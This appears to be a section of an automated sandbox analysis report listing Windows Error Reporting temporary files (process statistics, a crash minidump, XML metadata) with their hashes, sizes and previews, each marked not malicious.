Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER43C2.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	117476
Entropy (8bit):	3.062744053559449
Encrypted:	false
SSDEEP:	3072:Hcslw0Me8+i3cGEoQS5CKCf+/I6lJ1vEhazE2d3VRYF/8CO1VkNe1on:x
MD5:	6300A224E2F8D253C545A4604E5204CC
SHA1:	5C36FAC6447E29F785EE33D72BC09CD7373F3EC1
SHA-256:	EBF3C1C2D3F34ABA3F2FD5C66B548ADB4675CE30905168B1F9D4AF60366E26EE
SHA-512:	F38A313FDD17ACD9D8C484A27FC1C6A466B01B7DD869DD55184D20F962FE79338B7E3DC7B2411463E2DC422394ADBF856A3805062DE601D4583D23B74D83BF32
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER46D0.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	118500
Entropy (8bit):	3.06151745171797
Encrypted:	false
SSDEEP:	3072:4fzA04e8+IYE9EdH50KCfEzI6lJ1vEhahvgigJ/mM88DOJo+TiDpsg9a:8
MD5:	86B32ED91802AAAE56B61FA036EB4D70
SHA1:	B91DBCAB4D2418227C7FDACDA3F67AEE800F6B37
SHA-256:	89903E982890BD7F80FCB2B8380584C913704BD746CC1F0802D4508B3A3CC0D0
SHA-512:	138DAF0E4397D30D9D4F76CDF70B3B4C689D9523DF6327D2E4DF89112003769E2D9F11DE8A300EA82314FF370FE834DB4739BAFFCA9DD400DE80BBD5D7E1AFDD
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4971.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6957988776102924
Encrypted:	false
SSDEEP:	96:TiZYW1zO09jXYRYcW4HeYEZlRtHiM7Tw4nwMwS6alhBMTUYsIpnx:2ZDdXGuqbJalhBMTUYrpnx
MD5:	003F54D871D9AD7E62AE21158A578072
SHA1:	AE628D801BB8987D3F23B0A0A89A874EF215E103
SHA-256:	FF93E94DB3A13C7FCF1A28AF6B53B8EBD39CC385735188408FD4BD3282A0DFD1
SHA-512:	E5A1BA96FEF99B831DCD9A0C1950264EE060AB4409B444DD87F0126497B0CB4217115D3F43F4491B96223177DF017EACCC195B49992795ADE4134FDF9C6560FE
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4D5A.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.695718213658196
Encrypted:	false
SSDEEP:	96:TiZYW1eYcGk/r8KiCYVYrQWkH7YEZWItHiQ7dw44wVtgka4hPMVqUZIMnz:2ZDU58BCSg1oCka4hPMYUGMnz
MD5:	AA9E0166E7B78D61516CE16D23CEFDEB
SHA1:	B5FF0B9DB0EB7107F1BB39651BB3267A07B3A95F
SHA-256:	2D767742C63F52B0FC16207814225DE10AD65881CC4C692B278651306638A942
SHA-512:	2A105B4235A94FAE93BBB799C39721935C676B82599239FC199A0F281CC072A5B11508CB0326AB0C95945DA1CF3A5706AEAF54773C8FD25E9A9D96E4B43A752D
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5CAD.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	126720
Entropy (8bit):	3.0552729863373322
Encrypted:	false
SSDEEP:	3072:EDtQk0kVxHY5KufZIG3mu+X+W+L+M9+7+tvVi+L+1+B+I++k+kWTgBlLCjic8xOP:V
MD5:	32A9586006F5EC5C26996788DBE7E92C
SHA1:	FC64AB5710C4C9A22ED8156577287CD482F7C57B
SHA-256:	9512EB4812A9FA6EEC61955FE73488B427862EC9975D0CA20E00F897FA531949
SHA-512:	0B16947A39DF50ABDD38A7A997A37C798AD3049F2D7B1A35FF6BD3893B07BF805A2C3C93F46DE966FBCAA99AFC03821BECA78DAACC4AD3FCA23AC1AE01642C95
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER64CC.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	114322
Entropy (8bit):	3.0590550680024284
Encrypted:	false
SSDEEP:	3072:ddNtoxkv3cNaZZr9jeS+VjJJ+m+7+z+Ph++k+hvtSZ+j+D+z+KT+3+ah7OjZ2rVC:f
MD5:	D73CC79973D59B91BC2C637E88E84863
SHA1:	EED259DE9466755BE364BB94EEC0DCC394C12F6F
SHA-256:	496A559B30F13EE39918931F517F3CB7860DD5D9F31B3DC997C88039CE2C2A34
SHA-512:	4CF373BC7C292367F44F74F102E2D6697AD98230AF7979C2B32EBECE21DFD596229AEC73451A1D736A650D1BF6A07BC2A5A7F340939B32C4ADEFDD73691BBA07
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER6597.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.696590117295472
Encrypted:	false
SSDEEP:	96:TiZYW1lc2AdYMYRBW6SHeYEZextHih7kw4NwHZSapheMuU4IR0n6:2ZDybWI8FsapheMuUfCn6
MD5:	75EEA30CF8785EC1597C21A10A89C723
SHA1:	8CA5397E9D120821505F85DAFC8A252D77C31F1A
SHA-256:	7D73DB282D08E513DA866C70B93E9FA224E78DD7DACC032B31E046DB5BC53185
SHA-512:	23E43FAA24F025E48BD127BA368611CC566826AF93752A55FAEB1476A0C8A76A84D7AD0EBEB911FA8BE459755B596E0EC10385A5CD654078709A0FAFE47702C3
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA977.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	123318
Entropy (8bit):	3.056234407748793
Encrypted:	false
SSDEEP:	3072:s4Gca6J9hosguKFnQSw/qm5+L+w+b+yJ+x+3MxviI+u+K+8+qt+i+A/DISQQZSLu:W
MD5:	2BF658B096D73ADEB01C547D199A2BE4
SHA1:	62C704A928050F129C20B07068B051A2A9CACD26
SHA-256:	0C6CF34EE516BFA5190CF42C0528F3C0B8C1BE59D32FBDFB72F02276ED88A621
SHA-512:	43BCAC760CEEB37D06082C03DE0FA40FDEE543A3B8E31E75926874D1FEB804A0599F725CB27AD6FE6B88F9A21222E3F6103B5B93E27F8F7507E8B091C40AA5C8
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERAD9E.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6990696107525536
Encrypted:	false
SSDEEP:	96:TiZYWuFW/YYBYAzW51HTYEZKntNiS7pw4ww2gIia7hfM0UcbI/np:2ZDCWBeD1ia7hfM0Ul/np
MD5:	057676B21A4F5BF8A1A30E146C90CC9B
SHA1:	68630893A501D268769BDD286E6FE4C2AE5FCD1B
SHA-256:	63B84CAD9C13874D8583B6BEE6F0384692CF1FD91648CAD813DF3066269B3931
SHA-512:	205AF9A2D5B66A2C8DC40A3BA64005B860C812D4C74B7CB1C39E8075A1DB5CFCE59F286BF71F3BE05E3948B3BA9E93CC0817D260BA7D96EEDA480C2A324E0EAA
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB2BB.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Fri May 24 09:29:09 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	36222
Entropy (8bit):	2.1815523413485813
Encrypted:	false
SSDEEP:	192:Cg8Wvu3fX5f1kIOVdC5AyyHevE+LEJ0yALFYBTNWMMBOGES+de:zDuxfej/6940yoWvWFOpA
MD5:	715F77768499525318D2482B64890347
SHA1:	07D896C8AFC2D71A540EE6D9596729EE4C285A1D
SHA-256:	717829C06BE3BC8CA64C81B2F9B1D5318A1F1AF5A95A670A86563193D938A72B
SHA-512:	3B03BC0BACD06DFC807FBF1C229148B714ED9B041DB8BCB3C71A66164CB2948D0CFD26194AB5A351C204A3DA8A5B17353EBCB7EB28EE33E2DB864A129D81520E
Malicious:	false
Preview:	MDMP..a..... ........]Pf........................t............... ..........T.......8...........T...........H...6.......................................................................................................eJ..............GenuineIntel............T.......\....]Pf.............................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB358.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8422
Entropy (8bit):	3.7071024868207596
Encrypted:	false
SSDEEP:	192:R6l7wVeJVn6B6Y5P16uYgmfOgkl7pDu89bm+sf7im:R6lXJV6B6Y5d6JgmfOgYm9ff
MD5:	4FCEDBE8B751020BF6799F866D0FF0CB
SHA1:	537F536DA329684FBF1D647068B8EC4FFA381BA7
SHA-256:	186074826E72825E45E065C46FC726AF3A74C99C19520D35DED21FC636C46917
SHA-512:	CAB9BF45085EF506F72CDF72751805400670D80D08F2117ED0748F0D5DEC6F3AE86FC882E698300BB18642E07C51A17DEF73677285857C5C6604B11E4D33EC04
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.8.0.2.8.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB388.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4697
Entropy (8bit):	4.547667527425089
Encrypted:	false
SSDEEP:	48:cvIwWl8zscsJg77aI9WJWpW8VY+hPYm8M4JJAOqFZ+q8H/OYXEJ6K/XeTd:uIjfcqI7447VthSJeF0HXc/XGd
MD5:	1C3E252674EEB93CC7639A5398298A20
SHA1:	78C839282D8A3659AFA00ED3F5F37663E9611F84
SHA-256:	2FFBBCE158C29A42C1501E7DAEC39EF2F50B8341D354A25DD5AC9902DE594345
SHA-512:	CC0302D279C17579AADDC7818455434DED75A0BF975B9C104B37575EE3A080429D9333A9CA04E048027EA7D784C1E4DE4E88EC7A3EAAE43572F6BF961FD98DB6
Malicious:	false
